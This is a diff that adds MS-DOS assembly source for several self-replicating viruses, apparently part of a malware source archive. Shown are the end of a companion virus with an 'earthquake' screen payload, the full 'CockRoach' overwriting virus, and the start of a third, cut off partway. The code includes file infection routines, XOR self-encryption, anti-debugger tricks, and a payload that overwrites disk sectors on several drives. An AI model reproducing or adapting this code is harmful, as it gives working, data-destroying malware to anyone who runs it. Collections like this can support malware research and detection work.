org 0100h + +start label near + +; ----------------------------------------------------------------------------- +main proc near + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + inc Show_Flag ; Inc infect count + + mov si, offset spawn_name ; Save a copy of the + mov di, offset save_name ; file to "spawn" + cld + mov cx, 14 ; It's allways 14 bytes + rep movsb + + call search_files ; Find and infect a file + + mov al,byte ptr [set_carry] ; AX holds ALL INFECTED value + cmp al, 0 ; Have we infected all files? + jz Effect ; If so, then do it! + + cmp Show_Flag,3 ; Should we show display? + jl Effect + jmp short end00 +Effect: + call EarthQuake ; Let's do it! + jmp short Finito ; And don't run app! +end00: + mov ah,04Ah ; DOS resize memory function + mov bx,(finish - start) / 16 + 0272h ; BX holds # of para. + int 021h + + mov sp,(finish - start) + 01100h ; Change top of stack + + mov si,offset save_name ; SI points to true filename + int 02Eh ; DOS execution back-door +Finito: + mov ah,04Ch ; DOS terminate function + int 021h +main endp + +; ----------------------------------------------------------------------------- +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + mov dx,offset root ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +; ----------------------------------------------------------------------------- +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + mov dx,offset all_files ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + mov dx,offset up_dir ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +exe_mask db "*.EXE",0 ; Mask for all .EXE files +traverse endp + +; ----------------------------------------------------------------------------- +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx, 00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +; ----------------------------------------------------------------------------- +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov di,bx ; DI points to the DTA + + lea si,[di + 01Eh] ; SI points to file name + mov dx,si ; DX points to file name, too + mov di,offset spawn_name + 1; DI points to new name + xor ah,ah ; AH holds character count +transfer_loop: lodsb ; Load a character + or al,al ; Is it a NULL? + je transfer_end ; If so then leave the loop + inc ah ; Add one to the character count + stosb ; Save the byte in the buffer + jmp short transfer_loop ; Repeat the loop +transfer_end: + mov byte ptr [spawn_name],ah; First byte holds char. count + mov byte ptr [di],13 ; Make CR the final character + + mov di,dx ; DI points to file name + xor ch,ch ; + mov cl,ah ; CX holds length of filename + mov al,'.' ; AL holds char. to search for + repne scasb ; Search for a dot in the name + mov word ptr [di],'OC' ; Store "CO" as first two bytes + mov byte ptr [di + 2],'M' ; Store "M" to make "COM" + + mov byte ptr [set_carry],0 ; Assume we'll fail + mov ax,03D00h ; DOS open file function, r/o + int 021h + jnc infection_done ; File already exists, so leave + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ah,03Ch ; DOS create file function + mov cx, 00100011b ; CX holds file attributes + int 021h + xchg bx,ax ; BX holds file handle + + call encrypt_code ; Write an encrypted copy + + mov ah,03Eh ; DOS close file function + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +; ----------------------------------------------------------------------------- +spawn_name db 0, 12 dup (?),13 ; Name for next spawn +save_name db 0, 12 dup (?),13 ; Name for current spawn +show_flag db 0 ; When 0 & 1 then show display +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + +; ============================================================================= +EarthQuake proc near + call InitCrt ; Initialize the vars + + call DrawFrame ; Draw a frame in middle of screen + + mov cx, 2 ; Make some noise + call Siren + + mov si, OFFSET Warning ; Put Msg 1 + mov dx,0718h ; Move to Row 8, column 20 + call WriteStr + + mov cx, 1 + call Siren + + mov si, OFFSET ToHills ; Put Msg 2 + mov dx,0A16h ; Move to Row 10, column 18 + call WriteStr + + mov cx, 2 ; More noise + call Siren + + call Shake ; Shake the screen - it's a quake! + + call DrawFrame ; Draw a frame in middle of screen + + mov si, OFFSET MadeIt ; Put Made It Msg + mov dx,081Fh + call WriteStr + + cmp Show_Flag, 3 + jl EarthDone + mov si, OFFSET BurmaShave ; Put Logo + mov dx,0C36h + call WriteStr + EarthDone: + ret +EarthQuake endp + +Warning db '* * * Earthquake Warning! * * *', 0 +ToHills db 'Head for the hills! Take cover!!!', 0 +MadeIt db 'Whew! We Made It!', 0 +BurmaShave db '-=[VCL/BEv]=-', 0 + +Table struc ; Structure of the Shaker Table + Iters db 0 ; Number of interations (quakes) + Cols db 0 ; Scroll number of columns + Pause dw 0 ; And then wait this much time +Table ends + +QuakeTable Table < 3, 1, 500> + Table < 4, 2, 250> + Table < 5, 3, 175> + Table < 6, 4, 100> + Table <10, 5, 30> + Table <20, 5, 10> + Table <10, 5, 30> + Table < 5, 4, 100> + Table < 4, 3, 175> + Table < 3, 2, 250> + Table < 2, 1, 500> + Table < 0, 0, 0> ; End of data + +; ----------------------------------------------------------------------------- +Shake proc near + mov si, OFFSET QuakeTable ; Get pointer to table + xor cx,cx + ShakeNext: + mov cl, [si].Iters + jcxz ShakeDone + ShakeInner: + push cx ; Save for later + push si ; ditto + + xor ax,ax ; duh... + mov al, [si].Cols ; Number of columns to scroll + push ax ; Get Ready + call ScrollRight ; Go...Scroll Screen to right + pop si ; Restore it + + cmp [si].Cols, 3 ; Check if we are scrolling more than 3 + jle ShakeCont1 ; If less or equal then skip vert scroll + mov ah, 6 ; Scroll up 1 line + call Scroll ; Do it. + ShakeCont1: + mov cx, [si].Pause ; delay period + call Delay ; Wait around a bit + + push si ; And save our table index for l8r + xor ax,ax ; duh... + mov al, [si].Cols ; Number of columns to scroll + push ax ; Get Ready...Set... + call ScrollLeft ; Go! ... Scroll screen left + pop si ; And restore our table index + + cmp [si].Cols, 3 ; Check if we are scrolling more than 3 + jle ShakeCont2 ; If less or equal then skip vert scroll + mov ah, 7 ; Scroll up 1 line + call Scroll ; Do it. + ShakeCont2: + mov cx, [si].Pause ; pause again + call Delay ; Do it. + + pop cx ; Get back our iteration counter + Loop ShakeInner ; Keep going + add si, 4 ; Move to next table element + jmp short ShakeNext ; Keep on doing it... + ShakeDone: + ret +Shake endp + +; ----------------------------------------------------------------------------- +; in: cx = number of times to do the siren +Siren proc near + KeepGoing: + push cx ; Save the count + mov ax, 880 ; Freq + mov bx, 500 ; Duration = 1/2 second + push ax ; Put Freq on stack + push bx ; Put Duration on stack + call Beep ; Make a noise + mov ax, 660 ; Freq + mov bx, 500 ; Duration = 1/5 second + push ax ; Put Freq on stack + push bx ; Put Duration on stack + call Beep ; Make more noise + pop cx ; Restore the count + loop KeepGoing ; So we can keep going + ret +Siren endp + +; ----------------------------------------------------------------------------- +; ds:si points to the null terminated string to print +; dx has row/col - dh=row +WriteStr proc near + mov bh,0 ; We'll be working on page 0 + WriteMore: + mov al,[si] ; get the next character to print + cmp al, 0 ; done yet? + jz WriteDone ; Yep, so quit + inc si ; si++ + mov ah,2 ; locate cursor at dx + int 10h ; do it + push cx ; save it for later + mov cx,1 ; count of characters to write! + mov ah,10 ; subfunction 10 + int 10h ; call bios to do our dirty work + pop cx ; get it back + inc dx ; move to next cursor position + jmp short WriteMore ; keep going for cx + WriteDone: + ret +WriteStr endp + +; ----------------------------------------------------------------------------- +DrawFrame proc near + push bp ; Work around a stoopid bug in PC/XTs + mov ax, 0600h ; Draw and clear the outer frame + push ax ; Save for later + mov cx, 050Ah ; Upper screen coords: CH = ROW + mov dx, 0D46h ; Lower bounds, DH = ROW + mov bh, 70h ; Color is White Background, Black fore + int 10h ; Do It. + + pop ax ; Draw and clear the inner frame + mov cx, 060Ch ; Upper screen coords: CH = ROW + mov dx, 0C44h ; Lower bounds, DH = ROW + mov bh, 0Eh ; Color is Black Background, Yellow fore + int 10h ; Do It Again + pop bp ; End of stoopid fix + ret +DrawFrame endp + +; ============================================================================= +ScrollRight proc near + push bp + mov bp, sp + mov ax, [bp+4] ; calc ColsToMove <- LEN shl 1 + shl ax, 1 ; multiply by 2 + mov ColsToMove, ax ; And save it + mov bx, NumCols ; calc WordsToScroll <- NumCols - LEN + sub bx, ax ; adjust for scroll difference + inc bx ; BX = WordsToScroll + mov ax, VidSegment ; Put ES = Video Segment + mov es, ax + xor ax, ax ; Start on row 0 aka 1 + sr_NextRow: + push ax ; Save for later + mul LineWidth ; AX now has ROW * LineWidth + push ax ; Save start of row offset for printing + add ax, LineWidth ; AX points to last byte of the row + sub ax, ColsToMove ; This moves back 1 LEN of ch/attr pairs + mov di, ax ; save in DEST + sub ax, ColsToMove ; AX now moves back another LEN pairs + mov si, ax ; save in SOURCE + mov cx, bx ; BX = Words to Scroll + push ds ; Stash this + push es ; Make DS = ES + pop ds ; Like this + std ; Set SI and DI to decrement + rep movsw + pop ds ; Get the DS back + pop di ; Grab the Source Offset we saved above + mov cx, [bp+4] ; Prepare to print LEN blanks + call PrintBlank + pop ax ; Saved row + inc ax ; Move to next row + cmp ax, 25 ; Done with all rows? + jne sr_NextRow ; No? Then do next row! + + mov sp, bp + pop bp + ret 2 +ScrollRight endp + +; ----------------------------------------------------------------------------- +ScrollLeft proc near + push bp + mov bp, sp + mov ax, [bp+4] ; calc ColsToMove := Len Shl 1 + shl ax, 1 + mov ColsToMove, ax + mov bx, NumCols ; calc WordsToScroll := pred(NumCols) shl 1 + mov ax, VidSegment ; Make ES point to the video segment + mov es, ax + + mov es, ax + xor ax, ax ; Start on row 0 aka 1 + sl_NextRow: + push ax ; Save Row for later + mul LineWidth ; calc AX := Row * LineWidth + push ax ; Save Start of Line + mov di, ax ; This is where it's going + add ax, ColsToMove ; calc AX := AX + ColsToMove + mov si, ax ; This will be our source + push ds ; Stash for later ... + push es ; Make DS = ES = Video Segment + pop ds + mov cx, bx ; BX = Words To Scroll + cld ; Set SI and DI to decrement + rep movsw + pop ds ; Get our DS back... + + pop di ; Grab the Source Offset we saved + add di, LineWidth + sub di, colsToMove + mov cx, [bp+4] ; Prepare to print some blanks + call PrintBlank ; Do It + + pop ax ; Get back out row value + inc ax ; And move to next row + cmp ax, 25 ; first check if we are done + jne sl_NextRow ; If now, then do next row + + mov sp, bp + pop bp + ret 2 +ScrollLeft endp + +; ----------------------------------------------------------------------------- +; In AH = 6 scroll up +; = 7 scroll down +Scroll proc near + mov al, 1 ; We will always scroll 1 line + xor cx, cx ; Set Top Row/Col to (0,0) + mov dx, 184Fh ; Set Bottom Row/Col to (24,79) + mov bh, 07h ; Use a normal blank + push bp ; Work around a lame bug on PC/XTs + int 10h ; Do Bios...Oh Do Me Now + pop bp ; And continue fixing that st00pid bug + ret ; I really feel sill doc'g this routine... +Scroll endp + +; ----------------------------------------------------------------------------- +PrintBlank proc near +; In ES - Video Segment +; DI - Offset to print blank at +; CX - Number of blanks to print + cld ; store forward (increment DI) + mov al,' ' ; We want to print a blank +PrintAgain: + stosb ; put in one blank char + inc di ; skip video attribute + loop short PrintAgain + ret +PrintBlank endp + +; ----------------------------------------------------------------------------- +; All the routines dealing with Sound and Delays - especially the delay +; calibration routine were mostly stolen from Kim Kokkonen's code in earlier +; version of Turbo Professional. KK is the owner of Turbo Power - a damn good +; set of programming tools - plug plug! +; Beep(Hz, MS:Word); assembler; +Beep proc near + push bp + mov bp, sp + mov bx, [bp+6] ; hertz + mov AX,34DDH + mov DX,0012H + cmp DX,BX + jnc beepStop + div BX + mov BX,AX ; Lots of port tweaking... Isn't + in AL,61H ; this shit fun??? + test AL,3 + jnz @99 + or AL,3 + out 61H,AL + mov AL,0B6H + out 43H,AL + @99: + mov AL,BL ; I know I never get bored.!! + out 42H,AL + mov AL,BH + out 42H,AL + BeepStop: + mov CX, [bp+4] ; push ms delay time + call Delay ; and wait... + + IN AL, 61h ; Now turn off the speaker + AND AL, 0FCh + out 061h, AL + mov sp, bp + pop bp + ret 4 +Beep endp + +; ----------------------------------------------------------------------------- +; In: cx = delay in ms +Delay proc near + delay1: ; What's to say... a tight loop + call delayOneMS ; counting milliseconds + loop short delay1 + ret +Delay endp + +; ============================================================================= +DelayOneMS proc near + push cx ; Save CX + mov cx, OneMS ; Loop count into CX + DelayOne1: + loop delayOne1 ; Wait one millisecond + pop cx ; Restore CX + ret +DelayOneMs endp + +; ----------------------------------------------------------------------------- +Calibrate_Delay proc near + mov ax,40h + mov es,ax + mov di,6Ch ; ES:DI is the low word of BIOS timer count + mov OneMS, 55 ; Initial value for One MS's time + xor dx,dx ; DX = 0 + mov ax,es:[di] ; AX = low word of timer + CalKeepOn: + cmp ax,es:[di] ; Keep looking at low word of timer + je CalKeepOn ; until its value changes... + mov ax,es:[di] ; ...then save it + CalDoMore: + call DelayOneMs ; Delay for a count of OneMS (55) + inc dx ; Increment loop counter + cmp ax,es:[di] ; Keep looping until the low word... + je CalDoMore ; ...of the timer count changes again + mov OneMS, dx ; DX has new OneMS } + ret +Calibrate_Delay endp + +; ----------------------------------------------------------------------------- +InitCrt proc near + mov ah,15 ; Get Video Mode + int 10h + cmp al, 7 ; Check if this is monochrome + je DoneInit + add VidSegment, 800h +DoneInit: + mov byte ptr NumCols, ah ; Set the number of Character Cols + shl ah, 1 ; Mult by two for number of vid bytes + mov byte ptr LineWidth, ah ; And stash it... +ToneInit: + call Calibrate_Delay + ret +InitCrt endp + +; ============================================================================= +VidSegment dw 0B000h ; Base Video Segment +NumCols dw ? ; Columns on Screen +LineWidth dw ? ; NumCols * 2 +ColsToMove dw ? ; Number of video bytes to move each time +OneMS dw ? ; Calibration value for 1 ms of time + +; ============================================================================= +encrypt_code proc near + mov si,offset encrypt_decrypt; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si],1 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + mov di,offset finish ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + mov si,offset write_stuff ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + mov dx,offset start ; DX points to virus + + call finish ; Encrypt/write/decrypt + + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +; ----------------------------------------------------------------------------- +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + nop ; Defeat SCAN 95B + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp + +finish label near + +code ends + end main + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vclroach.asm b/MSDOS/Virus.MSDOS.Unknown.vclroach.asm new file mode 100644 index 00000000..894df468 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vclroach.asm @@ -0,0 +1,336 @@ +; COCROACH.ASM -- CockRoach Virus 1.0 +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Anonymous Caller + +virus_type equ 1 ; Overwriting Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near +flag: cmp dx,0 + xchg dx,ax + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov cx,0007h ; Do 7 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + mov bx,0001h ; First argument is 1 + mov si,0002h ; Second argument is 2 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl bx,1 ; Convert to word index + shl si,1 ; Convert to word index + mov ax,word ptr [bx + 03FEh]; Zero COM port address + xchg word ptr [si + 03FEh],ax; Put first value in second, + mov word ptr [bx + 03FEh],ax; and second value in first! + pop es ; Restore ES + + mov ax,0002h ; First argument is 2 + mov cx,0096h ; Second argument is 150 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) +trash_loop: int 026h ; DOS absolute write interrupt + dec ax ; Select the previous disk + cmp ax,-1 ; Have we gone too far? + jne trash_loop ; If not, repeat with new drive + sti ; Restore interrupts + + mov ax,04C00h ; DOS terminate function + int 021h +main endp + + + db 036h,0D6h,0D4h,0E6h,029h + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + mov dx,offset com_mask ; DX points to "*.COM" + call find_files ; Try to infect a .COM file + jnc done_searching ; If successful the exit + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect an .EXE file + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +exe_mask db "*.EXE",0 ; Mask for all .EXE files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: mov si,offset path_string ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [path_ad],di ; Save the PATH address for later + mov word ptr [path_ad + 2],es ; Save PATH's segment for later + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [path_ad] ; DS:SI points to the PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[path_ad],si; Store SI in the path address + ret ; Return to caller +found_subdir endp + + db 010h,08Eh,0B5h,016h,002h + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 0FDh,052h,0B3h,06Ah,08Ch + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes? + jne infection_done ; If it is then exit + + cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM? + je infection_done ; If it is then skip it + + cmp word ptr [si + 01Ah],(finish - start) + jb infection_done ; If it's too small then exit + + mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,4 ; CX holds bytes to read (4) + mov dx,offset buffer ; DX points to buffer + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + push si ; Save DTA address before compare + mov si,offset buffer ; SI points to comparison buffer + mov di,offset flag ; DI points to virus flag + mov cx,4 ; CX holds number of bytes (4) + rep cmpsb ; Compare the first four bytes + pop si ; Restore DTA address + je infection_done ; If equal then exit + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +buffer db 4 dup (?) ; Buffer to hold test data +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "CockRoach 1.0 Virus" + db "By Anonymous Caller" + db "[LegenD] Systems 1992!" + +encrypt_code proc near + mov si,offset encrypt_decrypt; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 8],dx ; Low word of timer is new key + + xor byte ptr [si],1 ; + xor byte ptr [si + 7],1 ; Change all SIs to DIs + xor word ptr [si + 10],0101h; (and vice-versa) + + mov di,offset finish ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + mov si,offset write_stuff ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + mov dx,offset start ; DX points to virus + + call finish ; Encrypt/write/decrypt + + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.vclvmess.asm b/MSDOS/Virus.MSDOS.Unknown.vclvmess.asm new file mode 100644 index 00000000..a33c83ae --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vclvmess.asm @@ -0,0 +1,340 @@ +; VMESSIAH.ASM -- Viral Messiah Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 1 ; Overwriting Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near +flag: xchg dh,dh + xchg bp,ax + xchg bp,ax + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov cx,0005h ; Do 5 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + + mov si,offset data00 ; SI points to data + xor dx,dx ; Clear DX +print_loop: lodsb ; Load the next char. into AL + xor ah,ah ; BIOS print char. function + or al,al ; Is the character a null? + je print_done ; If it is, exit + int 017h ; BIOS video interrupt + jmp short print_loop ; Do the next character +print_done: + +end00: mov ax,04C00h ; DOS terminate function + int 021h +main endp + + + db 08Dh,04Eh,054h,059h,0E0h + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + mov dx,offset com_mask ; DX points to "*.COM" + call find_files ; Try to infect a .COM file + jnc done_searching ; If successful the exit + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect an .EXE file + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +exe_mask db "*.EXE",0 ; 